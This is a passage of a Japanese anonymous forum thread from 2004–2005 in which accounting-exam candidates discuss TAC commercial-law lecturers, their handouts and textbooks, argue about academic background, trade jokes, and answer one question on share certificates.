315 :一般に公正妥当と認められた名無しさん:04/10/30 02:13:42 ID:Ot7Zc+JX
>>307
笑えないなw
来年勉強することになれば2003のレジュメもしっかり見ておくよww

316 :一般に公正妥当と認められた名無しさん:04/10/30 02:20:02 ID:???
少なくとも03の授業を受けたことのある奴は完璧にかけただろ。

317 :一般に公正妥当と認められた名無しさん:04/10/30 04:39:14 ID:???
べテだけじゃん・・・・・・・なんで削ったんだろ。

318 :一般に公正妥当と認められた名無しさん:04/10/30 04:56:14 ID:???
全然的中じゃないヤン、金返せよ阿部。

319 :一般に公正妥当と認められた名無しさん:04/10/31 00:42:43 ID:ry7ro8wF
ある地方校の講師が凄い勢いで阿部ちゃんを批判しているけれど、何でですか?
そんなに阿部先生ってだめなの?

320 :一般に公正妥当と認められた名無しさん:04/10/31 00:45:55 ID:???
敵が多そうな性格ではあるな。

321 :一般に公正妥当と認められた名無しさん:04/10/31 01:57:35 ID:h9uuT56S
ウヨだからだろ


322 :一般に公正妥当と認められた名無しさん:04/10/31 02:05:22 ID:/heU/nRO
あの人チンピラでしょ?

323 :一般に公正妥当と認められた名無しさん:04/10/31 02:38:18 ID:???
03を受講したくらいでヴェテかいな?
やっぱ、ヴェテか。

324 :一般に公正妥当と認められた名無しさん:04/10/31 03:33:12 ID:???
2ちゃんでは初受験以外はみんなベテだってさ

325 :一般に公正妥当と認められた名無しさん:04/10/31 04:13:36 ID:ByiuycNA
初受験者もだいたい2年間くらい予備校生活送るわけだからな。
2回目からベテと呼ばれてもちょっと納得。

326 :一般に公正妥当と認められた名無しさん:04/10/31 06:28:35 ID:???
04にないなら意味が無いだろ・・・03なんて捨てちゃったし。

327 :一般に公正妥当と認められた名無しさん:04/10/31 08:32:07 ID:???
小飯塚先生の下の名前はなんていうの?

328 :一般に公正妥当と認められた名無しさん:04/10/31 09:09:31 ID:???
それを知るとお前の学習効果が促進されるのか?


329 :一般に公正妥当と認められた名無しさん:04/10/31 09:31:00 ID:???
される

330 :一般に公正妥当と認められた名無しさん:04/10/31 14:37:33 ID:???
じゃ教えない

331 :一般に公正妥当と認められた名無しさん:04/10/31 18:27:23 ID:h9uuT56S
カズコだよ。しかし、高校生の息子がいるんだなあ・・・見えないなー

332 :一般に公正妥当と認められた名無しさん:04/10/31 18:36:05 ID:???
中途半端なこと教えるでねえ
レジュメにS.K.とイニシャルついてるの知らねえのか?

333 :一般に公正妥当と認められた名無しさん:04/10/31 18:37:31 ID:h9uuT56S
ショウコだった。

ごめんごめん



334 :一般に公正妥当と認められた名無しさん:04/10/31 18:57:15 ID:glK0FTc7
それもヘキサゴンだべや

335 :一般に公正妥当と認められた名無しさん:04/10/31 19:21:57 ID:???
貞子だと思ってたよ

336 :一般に公正妥当と認められた名無しさん:04/10/31 19:55:22 ID:???
むしろそれが正解

337 :一般に公正妥当と認められた名無しさん:04/10/31 21:07:52 ID:iKVgljbZ
ほんとはサオリ

338 :一般に公正妥当と認められた名無しさん:04/10/31 21:14:32 ID:???
いや、確かソフィアだったかと

339 :一般に公正妥当と認められた名無しさん:04/10/31 21:26:48 ID:???
ソフィアに教わる商法…

なんか蠱惑的でいいな…

340 :一般に公正妥当と認められた名無しさん:04/10/31 21:55:27 ID:???
で、さだこでファイナルアンサー?
VTRから出てきそう・・

341 :一般に公正妥当と認められた名無しさん:04/10/31 22:01:23 ID:???
漏れはいつもそのVTR受講だよ。

まさかね。。。


342 :一般に公正妥当と認められた名無しさん:04/10/31 22:45:40 ID:???
長瀬の商法図解テキスト販売開始!

343 :一般に公正妥当と認められた名無しさん:04/10/31 23:49:10 ID:h9uuT56S
ッコイタソ
 
(´Д`;)ハアハア

344 :一般に公正妥当と認められた名無しさん:04/11/01 02:27:53 ID:???
>>342

去年より半年ほど早いな。

345 :一般に公正妥当と認められた名無しさん:04/11/02 09:45:41 ID:???
さおり?

346 :一般に公正妥当と認められた名無しさん:04/11/02 18:50:53 ID:jjeI48YL
祥子

347 :一般に公正妥当と認められた名無しさん:04/11/02 18:54:19 ID:NQCNO4J+
地方校ですが、阿部先生の本名教えてくれと受講生にからまれたと講師が
言ってました。

348 :一般に公正妥当と認められた名無しさん:04/11/02 19:20:16 ID:???
受講生より阿倍の方が喧嘩強いだろ。

349 :一般に公正妥当と認められた名無しさん:04/11/02 19:29:43 ID:???
さちこ?

350 :一般に公正妥当と認められた名無しさん:04/11/02 22:59:27 ID:???
阿部とLの池辺ならどっちが強い?

351 :一般に公正妥当と認められた名無しさん:04/11/05 23:12:41 ID:5R4yVN60
阿部ちゃんは江戸っ子らしく、さばさばしたものの言い方だね。

でもほんとはすごく気の弱い一面も持っているんだよ・・・

352 :一般に公正妥当と認められた名無しさん:04/11/13 09:33:24 ID:Z9KnFxGY
え〜答練ではBレジュメ見てこんな感じでカキコ…
いやいや、書いてくださいって言ってた。秋上級で。
おんし、まさか…

353 :一般に公正妥当と認められた名無しさん:04/11/13 09:35:28 ID:???
まだ司法試験受け続けているらしい。

354 :一般に公正妥当と認められた名無しさん:04/11/16 01:55:48 ID:???
会社法というと,どうも適当な基本書がないですよね。
受験生の間では,弥永先生のリーガルマインドが定番になっています。
初版は確かによい本だと思ったんですが,どんどん情報が増えて,最初のよさが失われているような…。
独自の詳しい説明をしているところもあって,ふ〜んと思うところはありますが,
わかりやすさという意味では…この本を分かりやすいという人,ほんとに理解しているのかしらとか思ってしまいます。

355 :一般に公正妥当と認められた名無しさん:04/11/16 02:09:18 ID:???
予備校の講師は信用しきれず、弥永は厚すぎる。
ということで俺は有斐閣Sを使った。

356 :一般に公正妥当と認められた名無しさん:04/11/16 02:16:25 ID:???
そこで長瀬図解ですよ

357 :N渕:04/11/16 06:42:36 ID:???
そうくるか>>355

358 :一般に公正妥当と認められた名無しさん:04/11/19 21:10:51 ID:b9KawN1Q
やっぱ弁護士資格持ってる人はいいな

359 :一般に公正妥当と認められた名無しさん:04/11/20 01:21:39 ID:???
論文2日だけでいいもんな。

360 :一般に公正妥当と認められた名無しさん:04/11/20 18:33:00 ID:???
>>354
わかりやすさでは、龍田節の会社法が一番文才あって読みや
すい。基本書にしては、書き方がくだけている。
書き出しは、「風の中の羽のように、いつも変わる日本の商法」

量で言えば、東大教授の神田のが一番薄い。


361 :一般に公正妥当と認められた名無しさん:04/11/21 12:27:15 ID:???
有斐閣Sにしとけって。
小さいから電車で読める。ていうか読め。

362 :一般に公正妥当と認められた名無しさん:04/11/25 21:11:45 ID:???
阿部は江戸っ子ではないぞ
出身は福岡だけど

363 :一般に公正妥当と認められた名無しさん:04/11/25 21:56:12 ID:c5jFzQZT
江戸っ子だろ?

364 :一般に公正妥当と認められた名無しさん:04/11/25 22:09:10 ID:???
所沢じゃなかったっけ?

365 :一般に公正妥当と認められた名無しさん:04/11/26 06:41:34 ID:???
住んでるのが所沢ってだけ。


366 :一般に公正妥当と認められた名無しさん:04/11/26 15:52:57 ID:cQLN6dLP
>359
でもその前に司法試験受けてる。

367 :一般に公正妥当と認められた名無しさん:04/11/26 19:12:53 ID:???
今年のAレジュメ・Bレジュメは
去年のAレジュメ・Bレジュメと
どの程度変わりましたか?

368 :一般に公正妥当と認められた名無しさん:04/11/26 20:33:45 ID:???
雰囲気は茨城っぽいんだよね阿部ちゃん

369 :一般に公正妥当と認められた名無しさん:04/12/01 09:04:27 ID:49omudGC
age


370 :一般に公正妥当と認められた名無しさん:04/12/01 10:27:24 ID:49omudGC
漏れ茨城出身

371 :一般に公正妥当と認められた名無しさん:04/12/01 23:12:32 ID:swe55qNk
>>370
それがどうしたんだっぺよ。

372 :一般に公正妥当と認められた名無しさん:04/12/02 04:11:25 ID:19RtgZqq
漏れ茨城の鹿島出身だっぺよ。
誰か近い人いないっぺ???

373 :一般に公正妥当と認められた名無しさん:04/12/02 20:32:57 ID:Ly2kW1K1
>>372
いないっぺよ。茨城帰れっぺ。

374 :一般に公正妥当と認められた名無しさん:04/12/02 20:39:07 ID:???
そげなこというなやあぁぁ

375 :一般に公正妥当と認められた名無しさん:04/12/02 21:35:29 ID:???
阿部ちゃんの事務所はどこですか。
法律相談したいんだけど。

376 :一般に公正妥当と認められた名無しさん:04/12/03 06:36:04 ID:???
yametoke


377 : :04/12/14 18:23:09 ID:???
                                        h
                                      ヽ~兀 ̄ノ ク
                          -┼‐     l        ~丁   ウ
                         -┼‐   -┼‐ ホ     ̄ ̄
                    |     \_    ノ┼\ ン    丈フ  ジ
                   フ|/^ヽ         __     /┼\ ョ
  -┼┼一       h    レ|  ノ   -┼‐   1__hジ     ノ亅\ ウ
  , イ ├‐‐ カ      |            l     |___| .ツ
    | |__     | 幺 |幺h 十     \_             マ   ジ
             ̄ ̄ ̄ ス .|  ̄           ┌┼┐ヂ    フ┼ く  ョ
   ─┴一 キ   ヽ ┌ヤ     | \    ‐┼‐   └┼┘ ュ   ノ 于 \ ウ
   1二h ョ   ヽ  |~▽  タ        二| ̄      l  ウ     `
    ノ亅ヽ ウ    レ ノ.ノ \   |     ヽノ`ヽ            __l___
                  ン |             |         八   タ
   |フ┌┴┐イ    幺 ‐亠‐   ヽ_ノ   -┼‐    |  ̄     ノ ヽ \
   |フ 二二    l亅ヽ 乂  ド       ん´    レ \     ヽ
   |  ノ L ン       ヽヽ 厂/ ̄)   (_             |三| |~フ ロ
             ̄ ̄フ   ヽ/ ノ                      レヽ .| 、) ウ
  ┌┼┼┐      (           メ ノ ̄Ll コ             |
   | ┼┼ |  ノ                 ┼ ~▽  ロ             |
   ̄フ ̄Τ ̄ リ    ┃          小 ノ Lノ         / ̄`'〜ヽ
   _  _       ・                         )/ノ^^ハミ
  |_| |_| ア                -┼‐          ζ(゚∀゚ ル
  |_| |_| キ                (^|            , -|~ll ̄ |- 、
     ノ 亅      .            フ            〉    イ 〉


378 :一般に公正妥当と認められた名無しさん:05/01/09 00:16:41 ID:???
わたし小飯塚祥子
TACの 商法講師のツートップ♪
商法は 法律だから 全部論理があるのです♪
だから暗記はほどほどに♪
丸暗記は やめてほしいです
って、言うじゃない・・・

でもあんたが本当にやめてほしいもの
それは・・・
阿部ちゃんですからー!残念ー!!

379 :一般に公正妥当と認められた名無しさん:05/01/09 01:09:03 ID:???
いまだにギター侍で笑うやつがいるとでも?

380 :一般に公正妥当と認められた名無しさん:05/01/09 01:21:28 ID:???
祥子って何て読むの?しょうこ?

381 :一般に公正妥当と認められた名無しさん:05/01/09 23:13:40 ID:???
てかTACに引きこもって勉強してると自然と芸能情報に疎くならないか?
俺は年末の休みに入るまで波田陽区とかヒロシを名前は聞いたことがあったが
ネタ等を見る機会が全くなかったわけだが

>>378はしっかり勉強できてるか?

382 :378:05/01/10 12:02:10 ID:???
拙者、新年早々合格目標年度を2006年に変更しましたから・・・
切腹!

383 :一般に公正妥当と認められた名無しさん:05/01/12 13:37:43 ID:yaGl6cps
あかねがくぼってまだいる?

384 :一般に公正妥当と認められた名無しさん:05/01/15 17:52:16 ID:???
>>378は本当に切腹しなさい。
コイたんの名前は「祥子」じゃないですから、残念。

385 :一般に公正妥当と認められた名無しさん:05/01/15 18:49:45 ID:???
>>384
本名何?

386 :一般に公正妥当と認められた名無しさん:05/01/16 00:16:27 ID:???
>>385

セツ子です

387 :一般に公正妥当と認められた名無しさん:05/01/16 01:23:27 ID:???
378ってかなりうまいんじゃないか・・スルーされてるけど

388 :一般に公正妥当と認められた名無しさん:05/01/16 13:53:36 ID:???
あべとこいは仲良いよ

389 :一般に公正妥当と認められた名無しさん:05/01/19 20:20:14 ID:???
Bレジュメ最高(´∇`)ケッサク

390 :一般に公正妥当と認められた名無しさん:05/01/21 11:42:41 ID:???
>>389
禿げ同
でもたまに誤字脱字が気になる。
あと、わかりやすくしすぎて2年目以降の香具師には物足りない。文章のかっこよさキボン

391 :一般に公正妥当と認められた名無しさん:05/01/21 11:44:44 ID:???
レジュメの内容が四角形の紙に対して斜めってるのが気になるのは漏れだけか?

392 :一般に公正妥当と認められた名無しさん:05/01/21 20:20:12 ID:???
正直きにならんな

393 :一般に公正妥当と認められた名無しさん:05/01/21 20:26:41 ID:???
流石

394 :一般に公正妥当と認められた名無しさん:05/01/21 21:30:03 ID:???
S.Kってことは、シコシ子でいいのか?

395 :一般に公正妥当と認められた名無しさん:05/01/22 00:41:50 ID:???
ショウコかサチコ

396 :一般に公正妥当と認められた名無しさん:05/01/25 13:13:19 ID:???
どっちだ?

397 :一般に公正妥当と認められた名無しさん:05/01/29 22:35:09 ID:???
公文が商法のレジュメ作ったら、たいそう分かりやすいだろうなあ、と思うが・・・

398 :一般に公正妥当と認められた名無しさん:05/01/29 22:42:35 ID:???
同意 俺は今他校だが民法は公文回してる 公文商法聞いてみたい気がする

399 :一般に公正妥当と認められた名無しさん:05/01/31 14:49:22 ID:???
恋タソがいるじゃんか。

400 :一般に公正妥当と認められた名無しさん:05/01/31 19:36:18 ID:???
あのさぁ、阿部ちゃんの商法ってテキスト読むこと前提でかいてあるの?
なんかレジュメだけで十分じゃないかなって思うんだけど。
みなさんテキストよんでます?

401 :一般に公正妥当と認められた名無しさん:05/01/31 19:40:39 ID:???
読んでないよ。

402 :一般に公正妥当と認められた名無しさん:05/01/31 19:50:13 ID:???
そういや一回も見たことないなぁ

403 :一般に公正妥当と認められた名無しさん:05/02/11 21:30:15 ID:???
まっきがん

404 :一般に公正妥当と認められた名無しさん:05/02/11 23:01:11 ID:???
それガセだろ

405 :一般に公正妥当と認められた名無しさん:05/02/12 17:25:36 ID:qT7+A4YJ
今年のレジュメはかなり充実している。
あれまわせば十分合格レベルだろ。

406 :一般に公正妥当と認められた名無しさん:05/02/12 21:27:38 ID:???
は?
去年と同じだろ?

407 :一般に公正妥当と認められた名無しさん:05/02/12 22:02:58 ID:???
>>406
ちょっと違うよw

408 :一般に公正妥当と認められた名無しさん:05/02/12 22:07:42 ID:???
どう違うのサ?

409 :一般に公正妥当と認められた名無しさん:05/02/12 23:18:13 ID:dOATaAZc
ぶっちゃけ頭がよければ阿部でも受かる。
でも頭弱い(偏差値60前後の私大しか大学入試でいけなかったくらいのレベル)ひとは
本気で受かりたいなら、戦略上、阿部はやめておけ。

410 :一般に公正妥当と認められた名無しさん:05/02/12 23:20:37 ID:???
>頭弱い(偏差値60前後の私大しか大学入試でいけなかったくらいのレベル)


いつまで入試の偏差値引きずっていくつもりなのだろうか・・
ま、お前が一番頭弱そうだな

411 :一般に公正妥当と認められた名無しさん:05/02/12 23:21:28 ID:dOATaAZc
つまりね
90パーセント以上が落ちる試験で阿部はね・・・ってこと。

おれが阿部がいくら駄目だって言っても、タックの受講生の多数、つまり最終的に
不合格になる人たちは受けるという事実は変わらない。

ん?わかった?どういうことか?

412 :一般に公正妥当と認められた名無しさん:05/02/12 23:22:41 ID:???
費用対効果考えたら阿部のレジュメ以上に商法に資源をつぎ込むのはばかげている。
ヴェテになりたけりゃ別だがw
やればやるだけ伸びるものでもないし。

413 :一般に公正妥当と認められた名無しさん:05/02/12 23:23:39 ID:dOATaAZc
>>410
いや俺が言いたいのは、最終的にさっさとうかるひとはやっぱり
偏差値高い大学のひとが多いわけ。きみがいくら吼えてもそれは事実。

そこから戦略たてていかないと、かれらには絶対勝てないよ。

414 :一般に公正妥当と認められた名無しさん:05/02/12 23:24:22 ID:???
>>411
つーか、おめーも落ちてるんだろ?w
商法でホームラン打って合格してから偉そうなこと言え、糞DQN。

415 :一般に公正妥当と認められた名無しさん:05/02/12 23:27:04 ID:???
>>dOATaAZc

必死になって吼えているのは君だけだと思うけど?

416 :一般に公正妥当と認められた名無しさん:05/02/12 23:37:47 ID:dOATaAZc
まあどうでもいいけど、せっかくネットとかで情報あつまるんだから
阿部以外検討してみなさいよ。

簿記とか原型はタックの問題集でいいと思うけど、商法は
検討の余地ありだとおもう。

417 :一般に公正妥当と認められた名無しさん:05/02/12 23:43:51 ID:???
偏差値は別にして
阿部ちゃんでも受かるやつは受かる
小飯塚でも森村でも長瀬でも落ちるやつは落ちる
要は本人次第

418 :一般に公正妥当と認められた名無しさん:05/02/12 23:45:32 ID:dOATaAZc
しかしなんで阿部という苗字だと
阿部「ちゃん」になるんだろう

知り合いの阿部も阿部ちゃんだし。

419 :一般に公正妥当と認められた名無しさん:05/02/12 23:47:30 ID:???
商法阿部のスレなのにすぐ学歴論争になるなぁ・・・
学歴はどうあれ受かれば勝ち、不合格は負け それ以上以下でもないっしょ?
ってことで商法の話しようぜ

自分一年目で入門からずっと阿部で商法短刀ぱわーUPだけコイヅカ先生。
だから要はほとんど阿部しかしらないんだけど
自分は阿部で勉強しやすいと思うんだけど実際本試験との兼ね合いとしては
講師によって不利・有利があるのかなってのを聞きたい
阿部先生の印象としてはやや絞りすぎ(?)感がある。
けど実際は阿部先生のレジュメだけでいっぱいいっぱいで余裕が無い。

自分的にはどの先生でも結局は本人次第だから
結局どの先生でも同じだと思ってあんましこだわってないんだけどさ

420 :一般に公正妥当と認められた名無しさん:05/02/12 23:54:42 ID:???
実際、偏差値とかどうとか言ってるのって2チャンネラーと学生だけじゃない?
いい年した大人が偏差値どうこう、学歴どうこうと熱く語ってたら
誰からも相手にされなくなってしまう気がする

公認会計士試験、受かりたい
少なくとも学生のうちには

421 :一般に公正妥当と認められた名無しさん:05/02/12 23:56:09 ID:dOATaAZc
>>419
いや学歴は指標にはなるよってこと。自分の相対的なスタート位置というか。
別に人間性と学歴なんてまったく関係ないけど、少なくてもペーパー試験なら
相関は強いでしょってことね

阿部は軽すぎる。
商法って結局、必要性⇔許容性、経営の合理化⇔適正化という
対立軸があって、その周辺に論点が転がってる(とおれは解釈してる。
けっこうおなじパターンの繰り返しなんだけど、阿部のレジュメじゃ
「ぜんぶ覚えろ」って感じでさっぱり全体像が結ばない。
大量に暗記するのは直前期までに全体像を固めれば、1ヶ月でできると思う
んだけど。
暗記力に絶対の自信ありならあのレジュメでもいいんだけど、俺は全部
ゴミ箱に捨てたw
リーガルマインドとかみんな一回さらって読んだらいいと思うんだけど。阿部の
入門期のあとでもいいから。
おれはそれで阿部がカスだと悟った。(言い過ぎか

422 :一般に公正妥当と認められた名無しさん:05/02/12 23:58:47 ID:???
>>421
つーか、おめーも落ちてるんだろ?w
商法でホームラン打って合格してから偉そうなこと言え、糞DQN。



423 :一般に公正妥当と認められた名無しさん:05/02/13 00:00:56 ID:dOATaAZc
>>422
落ちるも何も入門製でっせ

阿部がいいなら、じぶんとどの点で相性がいいとか
少しは考えなさいね。

いくら匿名でもあんまり馬鹿な書き込みしないほうがいいよ。



424 :一般に公正妥当と認められた名無しさん:05/02/13 00:03:51 ID:???
>>423
つーか、おめーも落ちてるんだろ?w
商法でホームラン打って合格してから偉そうなこと言え、糞DQN。

おめーみたいなわかったような口きいてるやつが
一番性質が悪い。どんな世界でも。
つーかきもい。

425 :一般に公正妥当と認められた名無しさん:05/02/13 00:04:17 ID:Nahhoa5n
入門じゃ誰がいいとかわからんだろ。結果出とらんのだから

426 :一般に公正妥当と認められた名無しさん:05/02/13 00:05:58 ID:???
>>425
入門のふりしたヴェテだろ。書いてある内容見ればわかるじゃん。

427 :一般に公正妥当と認められた名無しさん:05/02/13 00:08:10 ID:uR2AWO0W
>>421
うざいなぁ。漏れは阿部ちゃん面白くて好きだ

阿部ちゃんは法律に関して超頭いいとおもうなぁ
暗記重視も短期合格の秘訣なのかとおもって
おれは素直に言われたとおりやってる。
暗記することで理解につながることもあると思うし。
漏れBレジュメ覚えてるうちに文章構成とか前よりダイブできるようになった。
実際暗記しとかないと時間が足りない気がするしね。

421はベテラン臭がするな。阿部ちゃんでやって
受からなかったのを阿部ちゃんのせいにしてる、そんか感じ。
客観的に見るとそう思われるから頭いいならそれくらい気づこうぜ。。

428 :一般に公正妥当と認められた名無しさん:05/02/13 00:08:14 ID:Fx/97Ikl
>>425
・・・
なぜ経験論ばかりなんだろう。
入門講義(最初の8回)終わって、基本書読んで、阿部の授業がかなりオカシイ
って思っただけ。
結果出て、落ちてから、阿部最悪って言っても遅いでしょうが・・

ん〜
このすれの趣旨がよくわからん。
みんな阿部だから阿部でいいやっていう結論しか見えてこないよ。


429 :一般に公正妥当と認められた名無しさん:05/02/13 00:08:52 ID:???
まあ>>423は学歴学歴と騒いでるくらいだから、
最低でも合格率10%以上の大学には行ってるんだろうな

430 :一般に公正妥当と認められた名無しさん:05/02/13 00:09:50 ID:???
>>428
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい
ヴェテは用済み、ヴェテはしつこい

431 :一般に公正妥当と認められた名無しさん:05/02/13 00:10:16 ID:Nahhoa5n
アべがイヤなら変えろよ。先生えらベるんだから。それだけ

432 :一般に公正妥当と認められた名無しさん:05/02/13 00:11:50 ID:???
>>431
それをいったらこのスレの存在意義がなくなる。
けど正論だね〜

433 :一般に公正妥当と認められた名無しさん:05/02/13 00:12:35 ID:???
結論として
>>423
>>428
は大して賢くないってことだな

賢いヤツは阿部の授業だけでも十分合格できる
阿部は他の講師に比べたら暗記重視かもしれないが、
賢いヤツは暗記しながら自分で理解もしてる
商法の全体構成とか意識しながらね

434 :一般に公正妥当と認められた名無しさん:05/02/13 00:13:41 ID:Fx/97Ikl
しかし、学部2回ってだけでじぶんがべテよりいくらかマシとでも
思ってるのか?

おれはべテじゃないけどw、べテも普通レベルの受験生も同じ穴の狢でしょ。

>>431
阿部マンせースレなのか?ここは?


435 :一般に公正妥当と認められた名無しさん:05/02/13 00:15:08 ID:Fx/97Ikl
だからおれはたいしたことないって。君たちと一緒。

馬鹿だから疑い深いだけ 以上

436 :一般に公正妥当と認められた名無しさん:05/02/13 00:16:18 ID:Fx/97Ikl
>>433
だからかしこけりゃ阿部でいいっていうのは同意。
そうじゃなかったら?って話してたんだけど

437 :一般に公正妥当と認められた名無しさん:05/02/13 00:16:54 ID:???
まあどの講師だろうと受かればよいんだよ。
相性はしょうがない。自分の好きなやつを選べ。

以上

このスレ終了

438 :一般に公正妥当と認められた名無しさん:05/02/13 00:17:38 ID:Fx/97Ikl
馬鹿らしい・・・
ならこんなスレたてるな

439 :一般に公正妥当と認められた名無しさん:05/02/13 00:18:43 ID:???
>>438
元々ばからしいんだよ。
結果も出せないやつが騒いでも。

440 :一般に公正妥当と認められた名無しさん:05/02/13 00:21:07 ID:???
どうせスレ主はお前だろ?438

441 :一般に公正妥当と認められた名無しさん:05/02/13 00:21:29 ID:Fx/97Ikl
なんでそうなるw

442 :一般に公正妥当と認められた名無しさん:05/02/13 00:21:35 ID:???
恋タソで無問題

443 :一般に公正妥当と認められた名無しさん:05/02/13 00:22:31 ID:Fx/97Ikl
反あべ=べテ、スレ主
なのかww

444 :一般に公正妥当と認められた名無しさん:05/02/13 00:24:47 ID:???
>>436
賢くなかったら長瀬あたりと個人契約でもして付きっ切りで教えてもらえ

商法でもなんでもそうだが、
今の専門学校の授業受けてるだけで
合格レベルまで勝手に引き上げてもらえると思うなよ
学校の授業なんて自分の理解の補助道具に過ぎない

もっと自分の頭使って考えろ
講師に一から十まで頼ってるようじゃ運良く会計士になっても
不正見逃しまくりだぞ

445 :一般に公正妥当と認められた名無しさん:05/02/13 00:25:42 ID:???
↑と、短答落ちが申しております






446 :444:05/02/13 00:30:11 ID:???
そうだよ担当落ちだよ

担当落ちしたくなかったらおまえらももっと自立しろよ
試験に落ちるのはあくまで自己責任なんだからな

447 :一般に公正妥当と認められた名無しさん:05/02/13 00:30:40 ID:Nahhoa5n
正しいよ。授業の3倍自習するわけだからな

448 :436:05/02/13 00:32:41 ID:Fx/97Ikl
>>446
だからさっきからそういってるやん
おりこうちゃんで素直で受かるのは上澄みだけ。

阿部でOkか?よく考えてみろ。
90パーセントの人間が落ちる試験ですよ

449 :一般に公正妥当と認められた名無しさん:05/02/13 00:36:03 ID:???
m9(^Д^)プギャー本当に短刀落ちだったのかよ>>444
お前の言うことなんて誰も気化ねえよゲラ

450 :一般に公正妥当と認められた名無しさん:05/02/13 00:39:22 ID:Nahhoa5n
もうねようや…非生産的になりつつある

451 :一般に公正妥当と認められた名無しさん:05/02/13 00:48:02 ID:???
スレの趣旨が没却されてるな

452 :合格者:05/02/13 00:48:50 ID:???
上級は阿部メインだったが、レジュメはBレジュメだけを使った。
直前答練は小飯塚を受けた。

TACの教材で他に使ったのは論点集と答練と短答PA。

TACの教材以外では有斐閣Sを買った。

論文は1問目はそこそこ、2問目は半分くらい。

453 :一般に公正妥当と認められた名無しさん:05/02/13 01:21:22 ID:???
とヴェテが申しております

454 :一般に公正妥当と認められた名無しさん:05/02/13 01:25:39 ID:???
>>453
ヴェテいうな。
長期受験者と呼べ。


455 :一般に公正妥当と認められた名無しさん:05/02/13 20:20:50 ID:???
合格後久しぶりに覗いてみたら相変わらず荒れてるな
本番近いからって生理の近い女みたいなこと言うなよ
みっともねー

漏れは2回の受験で合格したが、商法はずっと阿部ちゃん
だった
商法なんて50点取れりゃ上等なんだから阿部レジュメ丸暗記
で無問題

不合格組は他科目の点数が足りねぇんだよ
そろそろ気づかねぇと法人に入ったあと、あいつヴェテだぜって
陰で言われるぞ


456 :一般に公正妥当と認められた名無しさん:05/02/13 20:51:48 ID:???
>>455
2回で合格かー。

1回目の時の手ごたえはどんな感じだった?
全答錬とかでは「こりゃ今年は無理だなー」って感じかそれとも「こりゃ
いけそうだぞ」って感じだった?
後者で不合格という結果だったのなら今年初受験する予定の漏れとしては
ちとショックかも。。。


457 :455:05/02/13 21:50:45 ID:???
>>456
1回目はこりゃダメだなーと言う感じ
漏れは2年本科+上級だったが、今から思えば最初の2年は
ずっと入門レベルだった
1回本番を受けてまわりの気合に圧倒された
最後の上級1年間がホントの勉強といった感じ
漏れはマーチなので学歴の話にはイマイチついていけないが、阿部ちゃんが
よく授業で言っていたように、ひたすら計算練習に時間を使い、理論は
暗記というのが俺みたいな地頭悪い香具師にはぴったりだ
暗記しやすいように阿部レジュメは内容を絞ってあると漏れは思っている

最低限の理解は必要だと思うが、あれを暗記すれば商法が足を引っ張る
事はまずない


458 :一般に公正妥当と認められた名無しさん:05/02/13 22:11:37 ID:???
阿部&1回目で合格したよ。
基本的には阿部でも何とかなると思うけど、明らかに間違った
論証とか、時代錯誤の判例を論拠にしている場所が結構あるので、
そこら辺をフォローしてれば致命傷は負わないと思う。
455みたいに何も気づかずに問題に救われて合格しちゃうのもいいけど。

459 :一般に公正妥当と認められた名無しさん:05/02/14 22:59:55 ID:???
↑と、短答落ちが申しております








460 :一般に公正妥当と認められた名無しさん:05/02/16 12:40:54 ID:???
>明らかに間違った 論証とか、時代錯誤の判例を論拠にしている場所が結構あるので、
そこら辺をフォローしてれば致命傷は負わないと思う。

どうやってフォローするの?
最初から間違い少ない教材使った方がよくないか?


461 :一般に公正妥当と認められた名無しさん:05/02/17 21:38:42 ID:???
別に明らかに間違った論証なんてないよ

462 :一般に公正妥当と認められた名無しさん:05/02/17 21:44:02 ID:???
↑と、太郎センセイが申しております



463 :一般に公正妥当と認められた名無しさん:05/02/18 18:36:01 ID:???

会計士試験版エガラップを聴いてみたい・・・


マジでそう思った21の冬


464 :一般に公正妥当と認められた名無しさん:05/02/19 03:31:45 ID:Cbr50T2z
株券の失効登録中に善意取得が成立したのに、
失効後に新たに株券が発行されて
それを善意無重過失で譲渡された場合、
又善意取得が成立し、後者が真の株主になるのは何故ですか?

465 :一般に公正妥当と認められた名無しさん:05/02/19 03:35:49 ID:Cbr50T2z
失効登録じゃなくて喪失登録でした。

取得した後に名義書き換えしなかった点に落ち度があるからですか?

466 :一般に公正妥当と認められた名無しさん:05/02/19 06:24:11 ID:I71y168V
フジテレビの藤村さおりアナ(31)が2月2日に入籍していたことが18日、発表された。
相手は弁護士・公認会計士の小林正憲さん(39)で、知り合ってから1年足らずでのゴールイン。
妊娠はしておらず、仕事は続けるという

467 :一般に公正妥当と認められた名無しさん:05/02/19 09:27:30 ID:???
>>464
どんなシチュエーションでも善意取得が成立するには株券が有効なものである
ことが大前提。

喪失登録簿に載ってる状態では紛失した旧株券が有効な株券だからそれにつき
善意取得は成立する。
だが、登録期間が終了し、新たな株券が発行されたら当然それが有効な株券で
旧株券は無効となる。
よって新株券が発行された後で善意取得が成立しうるのは有効な株券である
ところの新株券についてしかありえない。


468 :一般に公正妥当と認められた名無しさん:05/02/19 09:33:34 ID:???
質問スレで聞けよ

469 :一般に公正妥当と認められた名無しさん:05/02/19 09:36:24 ID:???
この板に実質的に機能している質問スレなどない。
どこも荒れすさんでいる。

そう、199X年地球は核の炎に包まれたように。
オゾン層が破壊されて直射日光が地表に降り注ぎ、有害線を遮断するために
イスカンダルまで機械を買付に行かなければならなくなったように。。。



470 :一般に公正妥当と認められた名無しさん:05/02/19 09:38:43 ID:???
ヤマトなのか?
999なのか?


471 :一般に公正妥当と認められた名無しさん:05/02/19 10:05:10 ID:???
イスカンダルはヤマトでしょ。
「う〜ちゅ〜のかなた〜い〜すかんだるへ〜」って言うし。
199X年は北斗のケンシロウ。
999は「メーテル〜!」で機械の体を貰いに行く。結局ネジにされるが。


472 :一般に公正妥当と認められた名無しさん:05/02/20 22:02:32 ID:???
てことは北斗戦艦999みたいな合体ストーリーか
すげーな

473 :一般に公正妥当と認められた名無しさん:05/02/21 00:18:51 ID:???
意外と流行るかも。。。


474 :一般に公正妥当と認められた名無しさん:05/02/21 06:51:19 ID:???
なにがよ?

475 :一般に公正妥当と認められた名無しさん:05/02/22 01:40:24 ID:???
北斗戦艦999みたいな合体ストーリーが。


476 :一般に公正妥当と認められた名無しさん:05/02/22 04:11:21 ID:???
ほくーとせんかんすりーなーいーん
ケンシロウ1:ヤマト6:999 3 あたりの構成率か

